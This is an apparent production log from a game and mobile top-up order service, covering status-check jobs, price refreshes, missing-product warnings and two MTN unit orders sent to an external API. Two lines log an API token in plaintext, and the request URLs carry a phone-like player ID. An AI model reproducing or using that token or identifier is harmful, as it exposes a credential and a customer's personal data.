[2026-03-24 09:04:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"ADpMJa4LXw9tlqfMHO2Oq0nIpsiJxbwp","execution_time":"2026-03-24 09:04:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 09:04:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"ADpMJa4LXw9tlqfMHO2Oq0nIpsiJxbwp","execution_time":"2026-03-24 09:04:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 09:04:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"ADpMJa4LXw9tlqfMHO2Oq0nIpsiJxbwp","execution_time":"2026-03-24 09:04:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:05:00] production.INFO: Constructing job for order: 178533  
[2026-03-24 09:05:02] production.INFO: Executing GetProducts task...  
[2026-03-24 09:05:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 09:05:02] production.INFO: Executing GetProducts task...  
[2026-03-24 09:05:04] production.INFO: async() رجع: true  
[2026-03-24 09:05:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 09:05:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 09:05:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 09:05:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 09:05:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 09:05:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 09:05:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 09:05:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 09:05:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 09:05:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 09:05:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 09:05:05] production.INFO: Handling job for order: 178533  
[2026-03-24 09:05:05] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 09:05:05] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 09:05:05] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/7/params?qty=1&uuid=0b0ffa7f-f248-4f89-896f-d95740f71a68&Player_ID=0958268523  
[2026-03-24 09:05:05] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/7/params?qty=1&uuid=0b0ffa7f-f248-4f89-896f-d95740f71a68&Player_ID=0958268523","has_body":false} 
[2026-03-24 09:05:06] production.INFO: Operation sent successfully {"operation_id":163464,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-ZiZwf0-1774332306","amount":31.66008000000000066620486904866993427276611328125,"status":"processing","product":"30 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 09:05:06"}},"processed_data":{"order_number":"ORD-ZiZwf0-1774332306","amount":31.66008000000000066620486904866993427276611328125,"status":"processing","product":"30 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 09:05:08] production.INFO: Constructing job for order: 178534  
[2026-03-24 09:05:09] production.INFO: Handling job for order: 178534  
[2026-03-24 09:05:09] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 09:05:09] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 09:05:09] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/5/params?qty=1&uuid=fd5b0c8d-7898-4284-b2de-cb49b7f5c8fe&Player_ID=0958268523  
[2026-03-24 09:05:09] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/5/params?qty=1&uuid=fd5b0c8d-7898-4284-b2de-cb49b7f5c8fe&Player_ID=0958268523","has_body":false} 
[2026-03-24 09:05:10] production.INFO: Operation sent successfully {"operation_id":163465,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-8lsr6-1774332310","amount":21.106719999999999259898686432279646396636962890625,"status":"processing","product":"20 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 09:05:10"}},"processed_data":{"order_number":"ORD-8lsr6-1774332310","amount":21.106719999999999259898686432279646396636962890625,"status":"processing","product":"20 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 09:06:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"dgK40as0nyzOxdq0I0tn5TdQufBgqWOx","execution_time":"2026-03-24 09:06:01"} 
[2026-03-24 09:06:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"dgK40as0nyzOxdq0I0tn5TdQufBgqWOx","execution_time":"2026-03-24 09:06:01","total_operations":3,"sites_count":2} 
[2026-03-24 09:06:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"dgK40as0nyzOxdq0I0tn5TdQufBgqWOx","execution_time":"2026-03-24 09:06:01","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 09:06:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"dgK40as0nyzOxdq0I0tn5TdQufBgqWOx","execution_time":"2026-03-24 09:06:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 09:06:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"dgK40as0nyzOxdq0I0tn5TdQufBgqWOx","execution_time":"2026-03-24 09:06:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 09:06:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"dgK40as0nyzOxdq0I0tn5TdQufBgqWOx","execution_time":"2026-03-24 09:06:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:06:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"dgK40as0nyzOxdq0I0tn5TdQufBgqWOx","execution_time":"2026-03-24 09:06:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 09:06:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"dgK40as0nyzOxdq0I0tn5TdQufBgqWOx","execution_time":"2026-03-24 09:06:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 09:06:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"dgK40as0nyzOxdq0I0tn5TdQufBgqWOx","execution_time":"2026-03-24 09:06:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":2,"order_ids":["ORD-ZiZwf0-1774332306","ORD-8lsr6-1774332310"]} 
[2026-03-24 09:06:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"dgK40as0nyzOxdq0I0tn5TdQufBgqWOx","execution_time":"2026-03-24 09:06:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:06:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"dgK40as0nyzOxdq0I0tn5TdQufBgqWOx","execution_time":"2026-03-24 09:06:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":2} 
[2026-03-24 09:06:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"dgK40as0nyzOxdq0I0tn5TdQufBgqWOx","execution_time":"2026-03-24 09:06:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZiZwf0-1774332306","operation_id":163464,"processed":2,"skipped":0,"updates_prepared":2} 
[2026-03-24 09:06:01] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"dgK40as0nyzOxdq0I0tn5TdQufBgqWOx","execution_time":"2026-03-24 09:06:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZiZwf0-1774332306","operation_id":163464,"total_items":2,"chunks":1,"chunk_size":10} 
[2026-03-24 09:06:01] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"dgK40as0nyzOxdq0I0tn5TdQufBgqWOx","execution_time":"2026-03-24 09:06:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZiZwf0-1774332306","operation_id":163464,"count":2} 
[2026-03-24 09:06:01] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"dgK40as0nyzOxdq0I0tn5TdQufBgqWOx","execution_time":"2026-03-24 09:06:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZiZwf0-1774332306","operation_id":163464,"count":2} 
[2026-03-24 09:06:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"dgK40as0nyzOxdq0I0tn5TdQufBgqWOx","execution_time":"2026-03-24 09:06:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZiZwf0-1774332306","operation_id":163464,"user_id":1056,"notification_type":"order_approved","reference_id":178534} 
[2026-03-24 09:06:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"dgK40as0nyzOxdq0I0tn5TdQufBgqWOx","execution_time":"2026-03-24 09:06:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZiZwf0-1774332306","operation_id":163464,"user_id":1056,"notification_type":"order_approved","reference_id":178533} 
[2026-03-24 09:06:01] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"dgK40as0nyzOxdq0I0tn5TdQufBgqWOx","execution_time":"2026-03-24 09:06:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZiZwf0-1774332306","operation_id":163464,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":0} 
[2026-03-24 09:06:01] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"dgK40as0nyzOxdq0I0tn5TdQufBgqWOx","execution_time":"2026-03-24 09:06:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZiZwf0-1774332306","operation_id":163464,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 09:06:01] production.INFO: Batch update completed {"job":"Quryjob","job_id":"dgK40as0nyzOxdq0I0tn5TdQufBgqWOx","execution_time":"2026-03-24 09:06:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZiZwf0-1774332306","operation_id":163464,"processed":2,"errors":0} 
[2026-03-24 09:06:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"dgK40as0nyzOxdq0I0tn5TdQufBgqWOx","execution_time":"2026-03-24 09:06:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZiZwf0-1774332306","operation_id":163464,"processed":2,"errors":0} 
[2026-03-24 09:06:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"dgK40as0nyzOxdq0I0tn5TdQufBgqWOx","execution_time":"2026-03-24 09:06:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZiZwf0-1774332306","operation_id":163464} 
[2026-03-24 09:06:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1056  
[2026-03-24 09:06:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1056  
[2026-03-24 09:08:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"QeNsigb6I3f59uDKFWchiHo5BSfD8lHR","execution_time":"2026-03-24 09:08:01"} 
[2026-03-24 09:08:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"QeNsigb6I3f59uDKFWchiHo5BSfD8lHR","execution_time":"2026-03-24 09:08:01","total_operations":1,"sites_count":1} 
[2026-03-24 09:08:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"QeNsigb6I3f59uDKFWchiHo5BSfD8lHR","execution_time":"2026-03-24 09:08:01","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 09:08:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"QeNsigb6I3f59uDKFWchiHo5BSfD8lHR","execution_time":"2026-03-24 09:08:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 09:08:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"QeNsigb6I3f59uDKFWchiHo5BSfD8lHR","execution_time":"2026-03-24 09:08:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 09:08:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"QeNsigb6I3f59uDKFWchiHo5BSfD8lHR","execution_time":"2026-03-24 09:08:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:08:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"QeNsigb6I3f59uDKFWchiHo5BSfD8lHR","execution_time":"2026-03-24 09:08:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 09:08:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"QeNsigb6I3f59uDKFWchiHo5BSfD8lHR","execution_time":"2026-03-24 09:08:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 09:08:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"QeNsigb6I3f59uDKFWchiHo5BSfD8lHR","execution_time":"2026-03-24 09:08:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:10:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"Od5mWaJ7HEO3RCRPhkt9cdgXV2dBqGaj","execution_time":"2026-03-24 09:10:02"} 
[2026-03-24 09:10:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"Od5mWaJ7HEO3RCRPhkt9cdgXV2dBqGaj","execution_time":"2026-03-24 09:10:02","total_operations":1,"sites_count":1} 
[2026-03-24 09:10:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"Od5mWaJ7HEO3RCRPhkt9cdgXV2dBqGaj","execution_time":"2026-03-24 09:10:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 09:10:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"Od5mWaJ7HEO3RCRPhkt9cdgXV2dBqGaj","execution_time":"2026-03-24 09:10:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 09:10:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"Od5mWaJ7HEO3RCRPhkt9cdgXV2dBqGaj","execution_time":"2026-03-24 09:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 09:10:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Od5mWaJ7HEO3RCRPhkt9cdgXV2dBqGaj","execution_time":"2026-03-24 09:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:10:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"Od5mWaJ7HEO3RCRPhkt9cdgXV2dBqGaj","execution_time":"2026-03-24 09:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 09:10:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"Od5mWaJ7HEO3RCRPhkt9cdgXV2dBqGaj","execution_time":"2026-03-24 09:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 09:10:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"Od5mWaJ7HEO3RCRPhkt9cdgXV2dBqGaj","execution_time":"2026-03-24 09:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:10:02] production.INFO: Executing GetProducts task...  
[2026-03-24 09:10:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 09:10:02] production.INFO: Executing GetProducts task...  
[2026-03-24 09:10:04] production.INFO: async() رجع: true  
[2026-03-24 09:10:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 09:10:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 09:10:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 09:10:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 09:10:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 09:10:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 09:10:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 09:10:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 09:10:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 09:10:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 09:10:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 09:12:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"fYhlJbRLeXcdeFX9cJvB931wc3gRWPzu","execution_time":"2026-03-24 09:12:02"} 
[2026-03-24 09:12:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"fYhlJbRLeXcdeFX9cJvB931wc3gRWPzu","execution_time":"2026-03-24 09:12:02","total_operations":1,"sites_count":1} 
[2026-03-24 09:12:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"fYhlJbRLeXcdeFX9cJvB931wc3gRWPzu","execution_time":"2026-03-24 09:12:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 09:12:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"fYhlJbRLeXcdeFX9cJvB931wc3gRWPzu","execution_time":"2026-03-24 09:12:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 09:12:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"fYhlJbRLeXcdeFX9cJvB931wc3gRWPzu","execution_time":"2026-03-24 09:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 09:12:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"fYhlJbRLeXcdeFX9cJvB931wc3gRWPzu","execution_time":"2026-03-24 09:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:12:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"fYhlJbRLeXcdeFX9cJvB931wc3gRWPzu","execution_time":"2026-03-24 09:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 09:12:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"fYhlJbRLeXcdeFX9cJvB931wc3gRWPzu","execution_time":"2026-03-24 09:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 09:12:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"fYhlJbRLeXcdeFX9cJvB931wc3gRWPzu","execution_time":"2026-03-24 09:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:14:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"I2foPmjRk1pIsy79er4LgbIvdcShB1VB","execution_time":"2026-03-24 09:14:02"} 
[2026-03-24 09:14:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"I2foPmjRk1pIsy79er4LgbIvdcShB1VB","execution_time":"2026-03-24 09:14:02","total_operations":1,"sites_count":1} 
[2026-03-24 09:14:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"I2foPmjRk1pIsy79er4LgbIvdcShB1VB","execution_time":"2026-03-24 09:14:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 09:14:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"I2foPmjRk1pIsy79er4LgbIvdcShB1VB","execution_time":"2026-03-24 09:14:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 09:14:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"I2foPmjRk1pIsy79er4LgbIvdcShB1VB","execution_time":"2026-03-24 09:14:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 09:14:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"I2foPmjRk1pIsy79er4LgbIvdcShB1VB","execution_time":"2026-03-24 09:14:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:14:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"I2foPmjRk1pIsy79er4LgbIvdcShB1VB","execution_time":"2026-03-24 09:14:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 09:14:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"I2foPmjRk1pIsy79er4LgbIvdcShB1VB","execution_time":"2026-03-24 09:14:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 09:14:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"I2foPmjRk1pIsy79er4LgbIvdcShB1VB","execution_time":"2026-03-24 09:14:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:15:03] production.INFO: Executing GetProducts task...  
[2026-03-24 09:15:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 09:15:03] production.INFO: Executing GetProducts task...  
[2026-03-24 09:15:05] production.INFO: async() رجع: true  
[2026-03-24 09:15:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 09:15:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 09:15:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 09:15:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 09:15:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 09:15:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 09:15:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 09:15:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 09:15:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 09:15:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 09:15:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 09:16:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"hbmcC4HqQlM1SM0a2NFl1IQpAURRAbM6","execution_time":"2026-03-24 09:16:03"} 
[2026-03-24 09:16:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"hbmcC4HqQlM1SM0a2NFl1IQpAURRAbM6","execution_time":"2026-03-24 09:16:03","total_operations":1,"sites_count":1} 
[2026-03-24 09:16:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"hbmcC4HqQlM1SM0a2NFl1IQpAURRAbM6","execution_time":"2026-03-24 09:16:03","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 09:16:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"hbmcC4HqQlM1SM0a2NFl1IQpAURRAbM6","execution_time":"2026-03-24 09:16:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 09:16:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"hbmcC4HqQlM1SM0a2NFl1IQpAURRAbM6","execution_time":"2026-03-24 09:16:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 09:16:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"hbmcC4HqQlM1SM0a2NFl1IQpAURRAbM6","execution_time":"2026-03-24 09:16:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:16:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"hbmcC4HqQlM1SM0a2NFl1IQpAURRAbM6","execution_time":"2026-03-24 09:16:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 09:16:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"hbmcC4HqQlM1SM0a2NFl1IQpAURRAbM6","execution_time":"2026-03-24 09:16:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 09:16:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"hbmcC4HqQlM1SM0a2NFl1IQpAURRAbM6","execution_time":"2026-03-24 09:16:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:18:00] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"DyzsdjNh88XugBTYMxS6dZvLTMNbyXME","execution_time":"2026-03-24 09:18:00"} 
[2026-03-24 09:18:00] production.INFO: Found pending operations {"job":"Quryjob","job_id":"DyzsdjNh88XugBTYMxS6dZvLTMNbyXME","execution_time":"2026-03-24 09:18:00","total_operations":1,"sites_count":1} 
[2026-03-24 09:18:00] production.INFO: Processing site batch {"job":"Quryjob","job_id":"DyzsdjNh88XugBTYMxS6dZvLTMNbyXME","execution_time":"2026-03-24 09:18:00","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 09:18:00] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"DyzsdjNh88XugBTYMxS6dZvLTMNbyXME","execution_time":"2026-03-24 09:18:00","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 09:18:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"DyzsdjNh88XugBTYMxS6dZvLTMNbyXME","execution_time":"2026-03-24 09:18:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 09:18:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"DyzsdjNh88XugBTYMxS6dZvLTMNbyXME","execution_time":"2026-03-24 09:18:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:18:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"DyzsdjNh88XugBTYMxS6dZvLTMNbyXME","execution_time":"2026-03-24 09:18:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
